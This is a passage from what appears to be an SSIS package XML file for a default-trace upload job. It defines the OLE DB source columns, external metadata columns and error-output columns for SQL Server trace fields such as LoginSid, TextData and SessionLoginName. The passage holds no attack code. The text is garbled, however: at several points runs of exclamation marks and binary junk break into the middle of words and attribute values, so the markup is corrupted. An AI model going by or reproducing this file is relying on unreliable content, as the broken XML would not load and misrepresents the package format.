trace.Outputs[OLE DB Source Output].Columns[DBUserName]" name="DBUserName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LoginSid]" dataType="image" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[LoginSid]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LoginSid]" name="LoginSid" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TargetLoginName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[TargetLoginName]" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TargetLoginName]" name="TargetLoginName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TargetLoginSid]" dataType="image" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[TargetLoginSid]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TargetLoginSid]" name="TargetLoginSid" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ColumnPermissions]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ColumnPermissions]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ColumnPermissions]" name="ColumnPermissions" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LinkedServerName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Uploa	!!!!!!!!!!!!!!!!!!!!!!!!`3)x;Hvd default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[LinkedServerName]" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LinkedServerName]" name="LinkedServerName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ProviderName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ProviderName]" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ProviderName]" name="ProviderName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[MethodName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[MethodName]" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[MethodName]" name="MethodName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[RowCounts]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[RowCounts]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[RowCounts]" name="RowCounts" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[RequestID]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[RequestID]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[RequestID]" name="RequestID" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[XactSequence]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[XactSequence]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[XactSequence]" name="XactSequence" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EventSequence]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[EventSequence]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EventSequence	!!!!!!!!!!!!!!!!!!!!!!!!`3)+Hv]" name="EventSequence" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[BigintData1]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[BigintData1]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[BigintData1]" name="BigintData1" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[BigintData2]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[BigintData2]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[BigintData2]" name="BigintData2" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[GUID]" dataType="guid" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[GUID]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[GUID]" name="GUID" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IntegerData2]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[IntegerData2]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IntegerData2]" name="IntegerData2" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ObjectID2]" dataType="i8" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ObjectID2]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ObjectID2]" name="ObjectID2" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Type]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Type]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Type]" name="Type" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[OwnerID]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default	!!!!!!!!!!!!!!!!!!!!!!!!`3)RkHv trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[OwnerID]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[OwnerID]" name="OwnerID" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ParentName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ParentName]" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ParentName]" name="ParentName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IsSystem]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[IsSystem]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IsSystem]" name="IsSystem" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Offset]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Offset]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Offset]" name="Offset" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SourceDatabaseID]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[SourceDatabaseID]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SourceDatabaseID]" name="SourceDatabaseID" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SqlHandle]" dataType="image" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[SqlHandle]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SqlHandle]" name="SqlHandle" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SessionLoginName]" dataType="wstr" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[SessionLoginName]" length="256" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SessionLoginName]" name="Sessio	!!!!!!!!!!!!!!!!!!!!!!!!`3)!̇HvnLoginName" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[PlanHandle]" dataType="image" errorOrTruncationOperation="Conversion" errorRowDisposition="RedirectRow" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[PlanHandle]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[PlanHandle]" name="PlanHandle" truncationRowDisposition="RedirectRow"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[GroupID]" dataType="i4" errorOrTruncationOperation="Conversion" errorRowDisposition="FailComponent" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[GroupID]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[GroupID]" name="GroupID" truncationRowDisposition="FailComponent"/></outputColumns><externalMetadataColumns isUsed="True"><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[TextData]" dataType="nText" name="TextData"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[BinaryData]" dataType="image" name="BinaryData"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[DatabaseID]" dataType="i4" name="DatabaseID"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[TransactionID]" dataType="i8" name="TransactionID"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[LineNumber]" dataType="i4" name="LineNumber"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[NTUserName]" dataType="wstr" length="256" name="NTUserName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[NTDomainName]" dataType="wstr" length="256" name="NTDomainName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[HostName]" dataType="wstr" length="256" name="HostName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ClientProcessID]" dataType="i4" name="ClientProcessID"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ApplicationName]" dataType="wstr" length="256" name="ApplicationName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[LoginName]" dataType="wstr" length="256" name="LoginName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[SPID]" dataType="i4" name="SPID"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read tr	!!!!!!!!!!!!!!!!!!!!!!!!`3)%`:)Hvace.Outputs[OLE DB Source Output].ExternalColumns[Duration]" dataType="i8" name="Duration"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[StartTime]" dataType="dbTimeStamp" name="StartTime"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[EndTime]" dataType="dbTimeStamp" name="EndTime"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Reads]" dataType="i8" name="Reads"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Writes]" dataType="i8" name="Writes"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[CPU]" dataType="i4" name="CPU"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Permissions]" dataType="i8" name="Permissions"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Severity]" dataType="i4" name="Severity"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[EventSubClass]" dataType="i4" name="EventSubClass"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ObjectID]" dataType="i4" name="ObjectID"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Success]" dataType="i4" name="Success"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[IndexID]" dataType="i4" name="IndexID"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[IntegerData]" dataType="i4" name="IntegerData"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ServerName]" dataType="wstr" length="256" name="ServerName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[EventClass]" dataType="i4" name="EventClass"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ObjectType]" dataType="i4" name="ObjectType"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[NestLevel]" dataType="i4" name="NestLevel"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[State]" dataType="i4" name="State"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Error]" dataType="i4" name="Error"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Mode]" dataType="i4" name="Mode"/><externalMetadataColumn refId="Package\SEQ - D	!!!!!!!!!!!!!!!!!!!!!!!!`3))Hvefault trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Handle]" dataType="i4" name="Handle"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ObjectName]" dataType="wstr" length="256" name="ObjectName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[DatabaseName]" dataType="wstr" length="256" name="DatabaseName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[FileName]" dataType="wstr" length="256" name="FileName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[OwnerName]" dataType="wstr" length="256" name="OwnerName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[RoleName]" dataType="wstr" length="256" name="RoleName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[TargetUserName]" dataType="wstr" length="256" name="TargetUserName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[DBUserName]" dataType="wstr" length="256" name="DBUserName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[LoginSid]" dataType="image" name="LoginSid"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[TargetLoginName]" dataType="wstr" length="256" name="TargetLoginName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[TargetLoginSid]" dataType="image" name="TargetLoginSid"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ColumnPermissions]" dataType="i4" name="ColumnPermissions"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[LinkedServerName]" dataType="wstr" length="256" name="LinkedServerName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ProviderName]" dataType="wstr" length="256" name="ProviderName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[MethodName]" dataType="wstr" length="256" name="MethodName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[RowCounts]" dataType="i8" name="RowCounts"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[RequestID]" dataType="i4" name="RequestID"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[XactSequence]" dataType="i8" name="XactSequence"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB S	!!!!!!!!!!!!!!!!!!!!!!!!`3)-E}6Hvource Output].ExternalColumns[EventSequence]" dataType="i8" name="EventSequence"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[BigintData1]" dataType="i8" name="BigintData1"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[BigintData2]" dataType="i8" name="BigintData2"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[GUID]" dataType="guid" name="GUID"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[IntegerData2]" dataType="i4" name="IntegerData2"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ObjectID2]" dataType="i8" name="ObjectID2"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Type]" dataType="i4" name="Type"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[OwnerID]" dataType="i4" name="OwnerID"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[ParentName]" dataType="wstr" length="256" name="ParentName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[IsSystem]" dataType="i4" name="IsSystem"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[Offset]" dataType="i4" name="Offset"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[SourceDatabaseID]" dataType="i4" name="SourceDatabaseID"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[SqlHandle]" dataType="image" name="SqlHandle"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[SessionLoginName]" dataType="wstr" length="256" name="SessionLoginName"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[PlanHandle]" dataType="image" name="PlanHandle"/><externalMetadataColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].ExternalColumns[GroupID]" dataType="i4" name="GroupID"/></externalMetadataColumns></output><output refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output]" isErrorOut="true" name="OLE DB Source Error Output"><outputColumns><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[TextData]" dataType="nText" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[TextData]" name="TextData"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[BinaryData]" dataType="image" lineageId="Package\SEQ - Default trace upload\DFT - Up	!!!!!!!!!!!!!!!!!!!!!!!!`3uDHvload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[BinaryData]" name="BinaryData"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[DatabaseID]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[DatabaseID]" name="DatabaseID"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[TransactionID]" dataType="i8" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[TransactionID]" name="TransactionID"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[LineNumber]" dataType="i4" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[LineNumber]" name="LineNumber"/><outputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Error Output].Columns[NTUserName]" 